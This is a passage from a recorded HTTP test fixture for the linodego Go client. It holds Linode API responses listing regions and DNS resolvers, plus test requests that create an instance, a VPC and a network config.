"status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:23 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-u3c971wn4l0r","firewall_id":692854,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61874251, "label": "go-test-ins-wo-disk-u3c971wn4l0r", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.207.229"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "81a6689e2a5932cbf36d6571b2b808a00bb59c64", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "807" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:24 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-nwp0gw7611b9","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874251/configs method: POST response: body: '{"id": 65094712, "label": "go-test-conf-nwp0gw7611b9", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "540" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:24 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1721929584474868000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1721929584475169000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 78827, "label": "go-test-vpc-1721929584474868000", "description": "", "region": "us-iad", "subnets": [{"id": 76446, "label": "linodego-vpc-test-1721929584475169000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:24 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-nwp0gw7611b9","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":false,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":76446,"ipv4":{"vpc":"192.168.0.87"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874251/configs/65094712 method: PUT response: body: '{"id": 65094712, "label": "go-test-conf-nwp0gw7611b9", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 2047757, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 2047758, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 2047759, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 78827, "subnet_id": 76446, "ipv4": {"vpc": "192.168.0.87", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:24 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write 